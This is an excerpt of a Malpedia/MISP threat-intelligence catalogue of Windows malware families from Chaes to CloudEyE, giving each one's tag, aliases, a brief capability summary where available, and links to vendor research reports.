The tag is: *misp-galaxy:malpedia="Chaes"*

Chaes is also known as:

Table 1860. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chaes
https://decoded.avast.io/anhho/chasing-chaes-kill-chain/

Chainshot

The tag is: *misp-galaxy:malpedia="Chainshot"*

Chainshot is also known as:

Table 1861. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot
https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack
https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/
https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/
https://www.vice.com/en_us/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec

https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/

CHAIRSMACK

The tag is: *misp-galaxy:malpedia="CHAIRSMACK"*

CHAIRSMACK is also known as:

Table 1862. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chairsmack
https://blog.certfa.com/posts/fake-interview-the-new-activity-of-charming-kitten/

Chaos

In-development ransomware family which was released in June 2021 by an unknown threat actor. The builder initially claimed to be a "Ryuk .Net Ransomware Builder" even though it was completely unrelated to the Ryuk malware family. Presently it appears to contain trojan-like features, but lacks features commonly found in ransomware such as data exfiltration.

The tag is: *misp-galaxy:malpedia="Chaos"*

Chaos is also known as:

- FakeRyuk
- RyukJoke
- Yashma

Table 1863. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos
https://www.bleepingcomputer.com/news/security/roblox-game-pass-store-used-to-sell-ransomware-decryptor/
https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/
https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging
https://brianstadnicki.github.io/posts/malware-chaos-ransomware-v4/
https://twitter.com/vinopaljiri/status/1519645742440329216
https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia
https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-in-fake-minecraft-alt-list-brings-destruction

https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html

Chaperone

According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim's machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.

The tag is: *misp-galaxy:malpedia="Chaperone"*

Chaperone is also known as:

- Taj Mahal

Table 1864. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone
https://github.com/TheEnergyStory/malware_analysis/tree/master/TajMahal
https://securelist.com/project-tajmahal/90240/
https://securelist.com/apt-trends-report-q2-2019/91897/

CHCH

CHCH is a Ransomware spotted in the wild in December 2019. It encrypts victim files and adds the extension .chch to them while it drops a ransomware note named: READ_ME.TXT

The tag is: *misp-galaxy:malpedia="CHCH"*

CHCH is also known as:

Table 1865. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chch
https://twitter.com/GrujaRS/status/1205566219971125249

ChChes

The tag is: *misp-galaxy:malpedia="ChChes"*

ChChes is also known as:

- HAYMAKER
- Ham Backdoor

Table 1866. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chches
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://www.jpcert.or.jp/magazine/acreport-ChChes.html
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html
https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

CHEESETRAY

CHEESETRAY is a sophisticated proxy-aware backdoor that can operate in both active and passive mode depending on the passed command-line parameters. The backdoor is capable of enumerating files and processes, enumerating drivers, enumerating remote desktop sessions, uploading and downloading files, creating and terminating processes, deleting files, creating a reverse shell, acting as a proxy server, and hijacking processes among its other functionality. The backdoor communicates with its C&C server using a custom binary protocol over TCP with port specified as a command-line parameter.

The tag is: *misp-galaxy:malpedia="CHEESETRAY"*

CHEESETRAY is also known as:

- CROWDEDFLOUNDER

Table 1867. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cheesetray
https://www.us-cert.gov/ncas/analysis-reports/ar20-045c
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf

Chernolocker

Chernolocker is a ransomware that encrypts a victim's files by using AES-256 and it asks for BTC ransom. Different versions are classified by the attacker's email address which changes over time.

The tag is: *misp-galaxy:malpedia="Chernolocker"*

Chernolocker is also known as:

Table 1868. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chernolocker
https://id-ransomware.blogspot.com/2019/12/chernolocker-ransomware.html

CherryPicker POS

The tag is: *misp-galaxy:malpedia="CherryPicker POS"*

CherryPicker POS is also known as:

- cherry_picker
- cherrypicker
- cherrypickerpos

Table 1869. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker
https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Memory-Scraping-Technique-in-Cherry-Picker-PoS-Malware/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/

ChewBacca

The tag is: *misp-galaxy:malpedia="ChewBacca"*

ChewBacca is also known as:

Table 1870. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca
http://vinsula.com/2014/03/01/chewbacca-tor-based-pos-malware/

CHINACHOPPER

a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.

The tag is: *misp-galaxy:malpedia="CHINACHOPPER"*

CHINACHOPPER is also known as:

Table 1871. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper
https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/
https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/
https://attack.mitre.org/groups/G0125/
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf
https://www.crowdstrike.com/blog/an-end-to-smash-and-grab-more-targeted-approaches/
https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html
https://www.secureworks.com/research/threat-profiles/bronze-union
https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html
https://www.imperva.com/blog/imperva-observes-hive-of-activity-following-hafnium-microsoft-exchange-disclosures/
https://twitter.com/ESETresearch/status/1366862946488451088
https://www.huntress.com/hubfs/Mass%20Exploitation%20of%20Microsoft%20Exchange%20(2).pdf
https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Backdoor%2Bvia%2BXFF%2BMysterious%2BThreat%2BActor%2BUnder%2BRadar.pdf
https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/
https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html
https://www.trendmicro.com/en_us/research/21/d/could-the-microsoft-exchange-breach-be-stopped.html
https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
https://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html

https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/
https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728
https://blog.joshlemon.com.au/hafnium-exchange-attacks/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a
https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/multi-factor-authentication-new-attacks
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf
https://unit42.paloaltonetworks.com/exchange-server-credential-harvesting/
https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html
https://unit42.paloaltonetworks.com/atoms/iron-taurus/
https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran
https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers
https://www.secureworks.com/research/threat-profiles/bronze-president
https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion
https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers
https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection
https://us-cert.cisa.gov/ncas/alerts/aa20-259a
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://www.secureworks.com/research/threat-profiles/bronze-express
https://techcommunity.microsoft.com/t5/azure-sentinel/web-shell-threat-hunting-with-azure-sentinel/ba-p/2234968

https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html
https://redcanary.com/blog/microsoft-exchange-attacks
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://us-cert.cisa.gov/ncas/alerts/aa20-275a
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/
https://unit42.paloaltonetworks.com/microsoft-exchange-server-attack-timeline/
https://www.wired.com/story/china-microsoft-exchange-server-hack-victims/
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/
https://www.youtube.com/watch?v=rn-6t7OygGk
https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html
https://attack.mitre.org/software/S0020/
https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/
https://unit42.paloaltonetworks.com/china-chopper-webshell/
https://attack.mitre.org/groups/G0096
https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers
https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos

https://www.huntress.com/hubfs/Videos/Webinars/Overlay-Mass_Exploitation_of_Exchange.mp4

Chinad

Adware that shows advertisements using plugin techniques for popular browsers

The tag is: *misp-galaxy:malpedia="Chinad"*

Chinad is also known as:

Table 1872. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad

ChinaJm

Ransomware.

The tag is: *misp-galaxy:malpedia="ChinaJm"*

ChinaJm is also known as:

Table 1873. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinajm
https://id-ransomware.blogspot.com/2020/02/chinajm-ransomware.html

Chinotto (Windows)

The tag is: *misp-galaxy:malpedia="Chinotto (Windows)"*

Chinotto (Windows) is also known as:

Table 1874. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto
https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/

Chinoxy

The tag is: *misp-galaxy:malpedia="Chinoxy"*

Chinoxy is also known as:

Table 1875. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinoxy
https://documents.trendmicro.com/assets/white_papers/wp-finding-APTX-attributing-attacks-via-MITRE-TTPs.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf
https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746
https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis
https://community.riskiq.com/article/5fe2da7f
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://community.riskiq.com/article/56fa1b2f
https://www.proofpoint.com/us/blog/threat-insight/above-fold-and-your-inbox-tracing-state-aligned-activity-targeting-journalists
https://nao-sec.org/2021/01/royal-road-redive.html
https://medium.com/@Sebdraven/how-to-unpack-chinoxy-backdoor-and-decipher-the-configuration-of-the-backdoor-4ffd98ca2a02
https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf

Chir

The tag is: *misp-galaxy:malpedia="Chir"*

Chir is also known as:

Table 1876. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chir

Chisel (Windows)

Chisel is an open-source project by Jaime Pillora (jpillora) that allows tunneling TCP and UDP connections via HTTP. It is available across platforms and written in Go. While benign in itself, Chisel has been utilized by multiple threat actors. It was for example observed by SentinelOne during a PYSA ransomware campaign to achieve persistence and used as backdoor. Github: https://github.com/jpillora/chisel

The tag is: *misp-galaxy:malpedia="Chisel (Windows)"*

Chisel (Windows) is also known as:

Table 1877. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chisel
https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/
https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/

ChiserClient

The tag is: *misp-galaxy:malpedia="ChiserClient"*

ChiserClient is also known as:

Table 1878. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chiser_client
https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html

Choziosi (Windows)

The tag is: *misp-galaxy:malpedia="Choziosi (Windows)"*

Choziosi (Windows) is also known as:

- ChromeLoader

Table 1879. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.choziosi
https://cybergeeks.tech/chromeloader-browser-hijacker
https://redcanary.com/blog/chromeloader/
https://blogs.vmware.com/security/2022/09/the-evolution-of-the-chromeloader-malware.html

Chthonic

The tag is: *misp-galaxy:malpedia="Chthonic"*

Chthonic is also known as:

- AndroKINS

Table 1880. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan

cifty

The tag is: *misp-galaxy:malpedia="cifty"*

cifty is also known as:

Table 1881. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cifty
http://contagiodump.blogspot.com/2009/06/win32updateexe-md5-eec80fd4c7fc5cf5522f.html

Cinobi

The tag is: *misp-galaxy:malpedia="Cinobi"*

Cinobi is also known as:

Table 1882. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cinobi
http://www.pwncode.io/2019/12/unpacking-payload-used-in-bottle-ek.html
https://documents.trendmicro.com/assets/pdf/Tech%20Brief_Operation%20Overtrap%20Targets%20Japanese%20Online%20Banking%20Users.pdf
https://www.trendmicro.com/en_us/research/21/h/cinobi-banking-trojan-targets-users-of-cryptocurrency-exchanges-.html
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-overtrap-targets-japanese-online-banking-users-via-bottle-exploit-kit-and-brand-new-cinobi-banking-trojan/

Citadel

The tag is: *misp-galaxy:malpedia="Citadel"*

Citadel is also known as:

Table 1883. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/
https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf
http://www.xylibox.com/2016/02/citadel-0011-atmos.html
http://blog.jpcert.or.jp/2016/02/banking-trojan—27d6.html
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals

Clambling

Clambling was discovered by Trend Micro and TalentJump. It is a custom malware used by an actor they refer to as DRBControl, which targets gambling and betting companies in Southeast Asia. One version of Clambling uses Dropbox as C&C channel to hide its communication.

The tag is: *misp-galaxy:malpedia="Clambling"*

Clambling is also known as:

Table 1884. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.clambling
https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf
https://www.bleepingcomputer.com/news/security/chinas-apt-hackers-move-to-ransomware-attacks/
https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf

CLASSFON

The tag is: *misp-galaxy:malpedia="CLASSFON"*

CLASSFON is also known as:

Table 1885. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.classfon
https://content.fireeye.com/apt-41/rpt-apt41/

CLEANTOAD

CLEANTOAD is a disruption tool that will delete file system artifacts, including those related to BLINDTOAD, and will run after a date obtained from a configuration file. The malware injects shellcode into notepad.exe and it overwrites and deletes files, modifies registry keys, deletes services, and clears Windows event logs.

The tag is: *misp-galaxy:malpedia="CLEANTOAD"*

CLEANTOAD is also known as:

Table 1886. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cleantoad
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf

Client Maximus

The tag is: *misp-galaxy:malpedia="Client Maximus"*

Client Maximus is also known as:

Table 1887. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus
https://securityintelligence.com/client-maximus-new-remote-overlay-malware-highlights-rising-malcode-sophistication-in-brazil/

ClipBanker

The ClipBanker Trojan is known as an information stealer and spy trojan, it aims to steal and record any type of sensitive information from the infected environment such as browser history, cookies, Outlook data, Skype, Telegram, or cryptocurrency wallet account addresses. The main goal of this threat is to steal confidential information. The ClipBanker uses PowerShell commands for executing malicious activities. The thing that made the ClipBanker unique is its ability to record various banking actions of the user and manipulate them for its own benefit. The distribution method of the ClipBanker is through phishing emails or through social media posts that lure users to download malicious content.

The tag is: *misp-galaxy:malpedia="ClipBanker"*

ClipBanker is also known as:

Table 1888. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf
https://www.cynet.com/attack-techniques-hands-on/threat-research-report-clipbanker-13-second-attack/
https://asec.ahnlab.com/en/35981/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/covid-19-phishing-lure-to-steal-and-mine-cryptocurrency/

Clop

Clop is a ransomware which uses the .clop extension after having encrypted the victim's files. Another unique characteristic belonging with Clop is in the string: "Dont Worry C|0P" included into the ransom notes. It is a variant of CryptoMix ransomware, but it additionally attempts to disable Windows Defender and to remove the Microsoft Security Essentials in order to avoid user space detection.

The tag is: *misp-galaxy:malpedia="Clop"*

Clop is also known as:

Table 1889. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.clop
https://www.cert.ssi.gouv.fr/cti/CERTFR-2019-CTI-009/
https://www.binance.com/en/blog/421499824684902240/Binance-Helps-Take-Down-Cybercriminal-Ring-Laundering-%24500M-in-Ransomware-Attacks
https://www.bleepingcomputer.com/news/security/ta505-hackers-behind-maastricht-university-ransomware-attack/
https://www.bleepingcomputer.com/news/security/ransomware-gang-says-they-stole-2-million-credit-cards-from-e-land/
https://twitter.com/darb0ng/status/1338692764121251840
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-clop
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.bleepingcomputer.com/news/security/ransomware-gang-urges-victims-customers-to-demand-a-ransom-payment/
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://www.bleepingcomputer.com/news/security/clop-ransomware-gang-is-back-hits-21-victims-in-a-single-month/
https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://medium.com/@Sebdraven/unpacking-clop-416b83718e0f
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Clop.md
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.zdnet.com/article/croatias-largest-petrol-station-chain-impacted-by-cyber-attack/
https://therecord.media/ukrainian-police-arrest-clop-ransomware-members-seize-server-infrastructure/
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?*blob=publicationFile&v=2[https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf*?blob=publicationFile&v=2]
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/
https://unit42.paloaltonetworks.com/clop-ransomware/

https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html
https://www.bleepingcomputer.com/news/security/indiabulls-group-hit-by-clop-ransomware-gets-24h-leak-deadline/
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://www.carbonblack.com/blog/cb-tau-threat-intelligence-notification-cryptomix-clop-ransomware-disables-startup-repair-removes-edits-shadow-volume-copies/
https://asec.ahnlab.com/wp-content/uploads/2021/01/Analysis_ReportCLOP_Ransomware.pdf
https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities
https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-English-088056baf01242409a6e9f844f0c5f2e
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/
https://www.zdnet.com/article/german-tech-giant-software-ag-down-after-ransomware-attack/
https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/
https://github.com/Tera0017/TAFOF-Unpacker
https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-c26daec604da4db6b3c93e26e6c7aa26
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.splunk.com/en_us/blog/security/clop-ransomware-detection-threat-research-release-april-2021.html
https://github.com/albertzsigovits/malware-notes/blob/master/Clop.md
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.youtube.com/watch?v=PqGaZgepNTE

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/clop-ransomware/
https://www.boho.or.kr/filedownload.do?attach_file_seq=2808&attach_file_id=EpF2808.pdf
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.vice.com/en/article/wx5eyx/meet-the-ransomware-gang-behind-one-of-the-biggest-supply-chain-hacks-ever
https://www.splunk.com/en_us/blog/security/detecting-clop-ransomware.html
https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://asec.ahnlab.com/en/19542/
https://actu.fr/normandie/rouen_76540/une-rancon-apres-cyberattaque-chu-rouen-ce-reclament-pirates_29475649.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://krebsonsecurity.com/2021/06/ukrainian-police-nab-six-tied-to-clop-ransomware/
https://www.bleepingcomputer.com/news/security/cryptomix-clop-ransomware-says-its-targeting-networks-not-computers/

CloudEyE

CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.

The tag is: *misp-galaxy:malpedia="CloudEyE"*

CloudEyE is also known as:

- GuLoader
- vbdropper

Table 1890. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye
https://www.vmray.com/cyber-security-blog/guloader-evasion-techniques-threat-bulletin/
https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943
https://kienmanowar.wordpress.com/2020/06/27/quick-analysis-note-about-guloader-or-cloudeye/
https://research.checkpoint.com/2020/guloader-cloudeye/

https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors
https://labs.vipre.com/unloading-the-guloader/
https://twitter.com/VK_Intel/status/1252678206852907011
https://malpedia.caad.fkie.fraunhofer.de/details/win.guloader
https://inquest.net/blog/2022/08/29/office-files-rtf-files-shellcode-and-more-shenanigans
https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf
https://blog.vincss.net/2020/05/re014-guloader-antivm-techniques.html
https://clickallthethings.wordpress.com/2021/03/06/oleobject1-bin-ole10native-shellcode/
https://malwation.com/malware-config-extraction-diaries-1-guloader/
